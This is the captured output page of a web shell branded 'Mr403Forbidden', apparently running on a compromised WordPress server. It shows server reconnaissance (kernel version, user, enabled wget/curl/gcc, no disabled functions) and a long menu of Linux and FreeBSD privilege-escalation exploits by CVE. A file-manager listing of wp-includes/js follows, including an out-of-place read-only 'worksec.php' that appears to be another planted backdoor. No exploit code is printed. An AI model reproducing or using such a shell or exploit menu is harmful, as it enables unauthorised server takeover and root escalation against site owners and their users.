./Mr403Forbidden
Information Server
System: Linux 60.134.167.72.host.secureserver.net 4.18.0-553.144.1.el8_10.x86_64 #1 SMP Tue Jul 14 09:26:58 EDT 2026 x86_64
Software:Apache
PHP Version:8.1.34 PHP Os: Linux
Server IP:72.167.134.60
Your IP:216.73.216.159
User:toreyh (1002) | Group: toreyh (1004)
Safe Mode:OFF
MYSQL:OFF | PERL: ON | PYTHON: OFF | WGET: ON | CURL: ON | GCC: ON | PKEXEC: OFF
Disable Function:
Software:
PHP Version:
Server IP:
Your IP:
User:
Safe Mode:
MYSQL:
Disable Function:
NONE
CVE N/A | Sudo prompt overflow in v1.5.7 to 1.6.5p2
CVE-2003-0961 | Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation
CVE-2003-0127 | Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation
CVE-2003-0961 | Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation (2)
CVE-2004-0077 | Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation
CVE-2004-1235 | Linux Kernel 2.4.29-rc2 - 'uselib()' Local Privilege Escalation (1)
CVE N/A | Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation
CVE-2005-0736 | Linux Kernel 2.6.9 < 2.6.11 (RHEL 4) - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation
CVE-2005-1263 | Linux Kernel 2.2.x/2.3.x/2.4.x/2.5.x/2.6.x - ELF Core Dump Local Buffer Overflow
CVE-2006-2451 | Linux Kernel 2.6.13 < 2.6.17.4 - 'logrotate prctl()' Local Privilege Escalation
CVE-2006-3626 | Linux Kernel 2.6.17.4 - 'proc' Local Privilege Escalation
CVE N/A | Compress v4.2.4 local test exploit
CVE N/A | Local GNU Awk 3.1.0-x proof of concept exploit
EDB-ID-4756 | Linux Kernel < 2.6.11.5 Bluetooth Stack Localroot Exploit
CVE-2008-0600 | Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)
CVE-2008-0900 | Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2)
CVE-2008-4210 | Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation
CVE-2009-1185 | Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1)
CVE-2009-1337 | Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation CVE-2009-2692 | Linux Kernel 2.x (RedHat) - 'sock_sendpage()' Ring0 Privilege Escalation (1)
CVE-2009-2698 | Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
CVE-2009-3547 | Linux 2.6.x fs/pipe.c Local Privilege Escalation
CVE-2010-1146 | ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation
CVE-2010-2959 | Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation
CVE-2010-3081 | Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation
CVE-2010-3301 | Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation
CVE-2010-3437 | Linux Kernel < 2.6.36-rc6 (RedHat / Ubuntu 10.04) - 'pktcdvd' Kernel Memory Disclosure
CVE-2010-3904 | Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation
CVE-2010-4073 | Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation
CVE-2010-4258 | Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation
CVE-2010-4347 | Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation CVE-2011-1021 | Linux Kernel < 2.6.37-rc2 - 'ACPI custom_method' Local Privilege Escalation
CVE-2011-2777 | Acpid 1:
2.0.10-1ubuntu2 (Ubuntu 11.04/11.10) - Boundary Crossing Privilege Escalation
CVE-2011-1485 | pkexec - Race Condition Privilege Escalation
EDB-ID-18071 | Calibre E-Book Reader - Local Privilege Escalation
EDB-ID-17391 | Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation
EDB-ID-15944 | Linux Kernel < 2.6.34 (Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Privilege Escalation (2)
CVE-2012-0056 | Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation
CVE-2012-3524 | libdbus - 'DBUS_SYSTEM_BUS_ADDRESS' Local Privilege Escalation
CVE-2012-0809 | sudo 1.8.0 < 1.8.3p1 - Format String
CVE-2013-0268 | Linux Kernel 3.7.6 (RedHat x86/x64) - 'MSR' Driver Privilege Escalation
CVE-2013-1763 | Linux Kernel 3.3 < 3.8 (Ubuntu / Fedora 18) - 'sock_diag_handlers()' Local Privilege Escalation (3)
CVE-2013-1858 | Linux Kernel 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation
CVE-2013-2094 | Linux Kernel < 3.8.9 (x86-64) - 'perf_swevent_init' Local Privilege Escalation (2)
CVE-2014-0038 | Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CONFIG_X86_X32' Arbitrary Write (2)
CVE-2014-0196 | Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privilege Escalation
CVE-2014-3153 | Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Escalation
CVE-2014-4014 | Linux Kernel 3.13 - SGID Privilege Escalation
CVE-2014-4699 | Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation
CVE-2014-5284 | OSSEC 2.8 - 'hosts.deny' Local Privilege Escalation CVE-2015-1328 | Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
CVE-2015-7547 | glibc - 'getaddrinfo' Stack Buffer Overflow (PoC) CVE-2016-0728 | Linux Kernel 4.4.1 - REFCOUNT Overflow Use-After-Free in Keyrings Local Privilege Escalation (1)
CVE-2016-2384 | Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Privilege Escalation
CVE-2016-5195 | Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)
CVE-2016-8655 | Linux 4.4.0 < 4.4.0-53 - 'AF_PACKET chocobo_root' Local Privilege Escalation (Metasploit)
CVE-2016-9793 | Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege Escalation
CVE-2017-5123 | Linux Kernel 4.14.0-rc4+ - 'waitid()' Local Privilege Escalation
CVE-2017-6074 | Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation
CVE-2017-7308 | Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Local Privilege Escalation
CVE-2017-7494 | Samba 3.5.0 - Remote Code Execution
CVE-2017-7533 | Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation
CVE-2017-16939 | Linux Kernel (Ubuntu 17.04) - 'XFRM' Local Privilege Escalation
CVE-2017-16995 | Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
CVE-2017-1000112 | Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)
CVE-2017-1000367 | Sudo 1.8.20 - 'get_process_ttyname()' Local Privilege Escalation
CVE-2018-1000001 | glibc < 2.26 - 'getcwd()' Local Privilege Escalation
CVE-2019-7304 | snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (1)
CVE-2019-13272 | Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation
IBM AIX
CVE-2013-4011 - IBM AIX 6.1 / 7.1 Localroot Privilege Escalation
FreeBSD
EDB-ID-1311 | FreeBSD 4.x / < 5.4 - 'master.passwd' Disclosure
CVE-2008-3531 | FreeBSD 7.0/7.1 - 'vfs.usermount' Local Privilege Escalation
CVE-2008-5736 | FreeBSD 6.4 - Netgraph Privilege Escalation
CVE-2009-3527 | FreeBSD 6.4 - 'pipeclose()'/'knlist_cleardel()' Race Condition
CVE-2009-4146 | FreeBSD 8.0 Run-Time Link-Editor (RTLD) - Local Privilege Escalation
EDB-ID-9860 | FreeBSD 7.2 - VFS/devfs Race Condition
CVE-2010-2020 | FreeBSD 8.0/7.3/7.2 - 'nfs_mount()' Local Privilege Escalation
CVE-2010-2693 | FreeBSD - 'mbufs()' sendfile Cache Poisoning Privilege Escalation
CVE-2010-4210 | FreeBSD - 'pseudofs' Null Pointer Dereference Privilege Escalation
CVE-2011-4062 | FreeBSD - UIPC socket heap Overflow (PoC)
CVE-2011-4122 | OpenPAM - 'pam_start()' Local Privilege Escalation
CVE-2011-4862 | TelnetD encrypt_keyid - Function Pointer Overwrite
CVE-2012-0217 | FreeBSD 8.3 - 9.0 amd64 Privilege Escalation
EDB-ID-28718 | FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation
CVE-2013-2171 | FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation
| Name | Type | Last Edit | Size | Owner |
Permission | Action |
| .. | ||||||
| codemirror | dir | 2026-08-20 18:11 | - | toreyh |
||
| crop | dir | 2024-07-23 15:15 | - | toreyh |
||
| dist | dir | 2026-07-09 22:20 | - | toreyh |
||
| imgareaselect | dir | 2024-07-23 15:15 | - | toreyh |
||
| jcrop | dir | 2024-07-23 15:15 | - | toreyh |
||
| jquery | dir | 2024-07-23 15:15 | - | toreyh |
||
| mediaelement | dir | 2024-07-23 15:15 | - | toreyh |
||
| plupload | dir | 2024-07-23 15:15 | - | toreyh |
||
| swfupload | dir | 2026-08-15 7:39 | - | toreyh |
||
| thickbox | dir | 2026-07-09 22:20 | - | toreyh |
||
| tinymce | dir | 2026-08-20 18:11 | - | toreyh |
||
| admin-bar.js | file | 2024-05-11 18:28 | 10.3 KB | toreyh |
||
| admin-bar.min.js | file | 2024-05-11 18:28 | 3.41 KB | toreyh |
||
| api-request.js | file | 2020-12-01 3:44 | 3.25 KB | toreyh |
||
| api-request.min.js | file | 2022-04-08 20:07 | 1023 B | toreyh |
||
| autosave.js | file | 2025-04-16 5:26 | 21.95 KB | toreyh |
||
| autosave.min.js | file | 2023-02-02 16:36 | 5.67 KB | toreyh |
||
| backbone.js | file | 2026-06-29 5:24 | 78.55 KB | toreyh |
||
| backbone.min.js | file | 2026-06-29 5:24 | 23.74 KB | toreyh |
||
| clipboard.js | file | 2022-10-04 15:55 | 26.18 KB | toreyh |
||
| clipboard.min.js | file | 2024-06-27 13:51 | 8.8 KB | toreyh |
||
| colorpicker.js | file | 2012-11-17 15:11 | 28.4 KB | toreyh |
||
| colorpicker.min.js | file | 2025-04-16 5:26 | 16.11 KB | toreyh |
||
| comment-reply.js | file | 2025-02-08 5:25 | 12.22 KB | toreyh |
||
| comment-reply.min.js | file | 2025-02-08 5:25 | 2.96 KB | toreyh |
||
| customize-base.js | file | 2023-05-20 10:19 | 25.22 KB | toreyh |
||
| customize-base.min.js | file | 2023-02-02 16:36 | 7.67 KB | toreyh |
||
| customize-loader.js | file | 2024-04-12 17:47 | 7.72 KB | toreyh |
||
| customize-loader.min.js | file | 2023-02-02 16:36 | 3.47 KB | toreyh |
||
| customize-models.js | file | 2020-06-25 12:43 | 6.66 KB | toreyh |
||
| customize-models.min.js | file | 2023-02-02 16:36 | 3.59 KB | toreyh |
||
| customize-preview-nav-men...-. | file | 2020-07-27 23:35 | 14.67 KB | toreyh |
||
| customize-preview-nav-men...-. | file | 2025-04-16 5:26 | 4.92 KB | toreyh |
||
| customize-preview-widgets...-. | file | 2020-06-20 12:58 | 22.71 KB | toreyh |
||
| customize-preview-widgets...-. | file | 2025-04-16 5:26 | 7.64 KB | toreyh |
||
| customize-preview.js | file | 2025-12-03 5:27 | 27.93 KB | toreyh |
||
| customize-preview.min.js | file | 2025-12-03 5:27 | 10.75 KB | toreyh |
||
| customize-selective-refre...-. | file | 2024-04-12 17:47 | 32.55 KB | toreyh |
||
| customize-selective-refre...-. | file | 2025-04-16 5:26 | 10.44 KB | toreyh |
||
| customize-views.js | file | 2025-12-03 5:27 | 5.1 KB | toreyh |
||
| customize-views.min.js | file | 2025-12-03 5:27 | 2.51 KB | toreyh |
||
| heartbeat.js | file | 2025-02-08 5:25 | 23.49 KB | toreyh |
||
| heartbeat.min.js | file | 2025-02-08 5:25 | 5.81 KB | toreyh |
||
| hoverIntent.js | file | 2022-01-03 15:03 | 7.06 KB | toreyh |
||
| hoverIntent.min.js | file | 2024-06-27 13:51 | 1.46 KB | toreyh |
||
| hoverintent-js.min.js | file | 2019-12-10 1:03 | 1.68 KB | toreyh |
||
| imagesloaded.min.js | file | 2023-08-11 18:18 | 5.39 KB | toreyh |
||
| json2.js | file | 2025-12-03 5:27 | 31 B | toreyh |
||
| json2.min.js | file | 2025-12-03 5:27 | 35 B | toreyh |
||
| masonry.min.js | file | 2020-06-13 18:53 | 23.57 KB | toreyh |
||
| mce-view.js | file | 2023-10-09 21:31 | 25.24 KB | toreyh |
||
| mce-view.min.js | file | 2024-06-27 13:51 | 9.54 KB | toreyh |
||
| media-audiovideo.js | file | 2026-06-29 5:24 | 24.13 KB | toreyh |
||
| media-audiovideo.min.js | file | 2026-06-29 5:24 | 11.76 KB | toreyh |
||
| media-editor.js | file | 2026-06-29 5:24 | 28.77 KB | toreyh |
||
| media-editor.min.js | file | 2026-06-29 5:24 | 10.83 KB | toreyh |
||
| media-grid.js | file | 2026-06-30 20:18 | 26.06 KB | toreyh |
||
| media-grid.min.js | file | 2026-06-30 20:18 | 12.99 KB | toreyh |
||
| media-models.js | file | 2026-06-29 5:24 | 42.52 KB | toreyh |
||
| media-models.min.js | file | 2026-06-29 5:24 | 12.97 KB | toreyh |
||
| media-views.js | file | 2026-06-29 5:24 | 266.49 KB | toreyh |
||
| media-views.min.js | file | 2026-06-29 5:24 | 108.06 KB | toreyh |
||
| quicktags.js | file | 2021-09-08 23:29 | 22.07 KB | toreyh |
||
| quicktags.min.js | file | 2023-02-02 16:36 | 10.87 KB | toreyh |
||
| shortcode.js | file | 2020-01-29 0:45 | 10.51 KB | toreyh |
||
| shortcode.min.js | file | 2022-09-23 19:55 | 2.58 KB | toreyh |
||
| swfobject.js | file | 2025-12-03 5:27 | 0 B | toreyh |
||
| swfobject.min.js | file | 2025-12-03 5:27 | 35 B | toreyh |
||
| tw-sack.js | file | 2025-12-03 5:27 | 4.85 KB | toreyh |
||
| tw-sack.min.js | file | 2022-04-08 20:07 | 3.21 KB | toreyh |
||
| twemoji.js | file | 2026-06-05 8:15 | 36.31 KB | toreyh |
||
| twemoji.min.js | file | 2026-06-05 8:15 | 19.38 KB | toreyh |
||
| underscore.js | file | 2026-06-29 5:24 | 67.26 KB | toreyh |
||
| underscore.min.js | file | 2026-06-29 5:24 | 18.57 KB | toreyh |
||
| utils.js | file | 2020-01-29 0:45 | 4.56 KB | toreyh |
||
| utils.min.js | file | 2022-09-23 19:55 | 1.82 KB | toreyh |
||
| worksec.php | file | 2026-08-15 6:06 | 1.02 KB | toreyh |
-r--r--r-- | |
| wp-ajax-response.js | file | 2025-04-16 5:26 | 3.81 KB | toreyh |
||
| wp-ajax-response.min.js | file | 2025-04-16 5:26 | 2.51 KB | toreyh |
||
| wp-api.js | file | 2023-01-10 9:30 | 45.88 KB | toreyh |
||
| wp-api.min.js | file | 2024-06-27 13:51 | 14.34 KB | toreyh |
||
| wp-auth-check.js | file | 2026-06-29 5:24 | 4.34 KB | toreyh |
||
| wp-auth-check.min.js | file | 2026-06-29 5:24 | 1.65 KB | toreyh |
||
| wp-backbone.js | file | 2024-04-12 17:47 | 14.88 KB | toreyh |
||
| wp-backbone.min.js | file | 2022-04-08 20:07 | 2.97 KB | toreyh |
||
| wp-custom-header.js | file | 2021-04-10 12:40 | 10.22 KB | toreyh |
||
| wp-custom-header.min.js | file | 2023-02-02 16:36 | 4.34 KB | toreyh |
||
| wp-embed-template.js | file | 2021-11-11 2:49 | 6.62 KB | toreyh |
||
| wp-embed-template.min.js | file | 2024-06-27 13:51 | 3.1 KB | toreyh |
||
| wp-embed.js | file | 2023-08-10 19:49 | 3.14 KB | toreyh |
||
| wp-embed.min.js | file | 2024-06-27 13:51 | 1.22 KB | toreyh |
||
| wp-emoji-loader.js | file | 2026-08-06 16:00 | 13.04 KB | toreyh |
||
| wp-emoji-loader.min.js | file | 2026-08-06 16:00 | 2.91 KB | toreyh |
||
| wp-emoji-release.min.js | file | 2026-06-05 8:15 | 22.22 KB | toreyh |
||
| wp-emoji.js | file | 2025-12-03 5:27 | 8.59 KB | toreyh |
||
| wp-emoji.min.js | file | 2025-12-03 5:27 | 2.79 KB | toreyh |
||
| wp-list-revisions.js | file | 2018-06-28 2:30 | 970 B | toreyh |
||
| wp-list-revisions.min.js | file | 2021-01-06 15:29 | 597 B | toreyh |
||
| wp-lists.js | file | 2023-06-24 14:32 | 24.72 KB | toreyh |
||
| wp-lists.min.js | file | 2023-06-24 14:32 | 7.34 KB | toreyh |
||
| wp-pointer.js | file | 2021-02-16 20:25 | 9.99 KB | toreyh |
||
| wp-pointer.min.js | file | 2022-04-08 20:07 | 3.54 KB | toreyh |
||
| wp-sanitize.js | file | 2026-06-29 5:24 | 1.58 KB | toreyh |
||
| wp-sanitize.min.js | file | 2026-06-29 5:24 | 402 B | toreyh |
||
| wp-util.js | file | 2026-03-10 14:05 | 4.58 KB | toreyh |
||
| wp-util.min.js | file | 2026-03-10 14:05 | 1.4 KB | toreyh |
||
| wpdialog.js | file | 2023-01-24 21:13 | 569 B | toreyh |
||
| wpdialog.min.js | file | 2023-01-24 21:13 | 281 B | toreyh |
||
| wplink.js | file | 2025-04-16 5:26 | 20.74 KB | toreyh |
||
| wplink.min.js | file | 2025-02-08 5:25 | 11.05 KB | toreyh |
||
| zxcvbn-async.js | file | 2018-06-28 2:30 | 821 B | toreyh |
||
| zxcvbn-async.min.js | file | 2021-02-23 16:45 | 351 B | toreyh |
||
| zxcvbn.min.js | file | 2019-10-26 0:17 | 802.97 KB | toreyh |
© ./Mr403Forbidden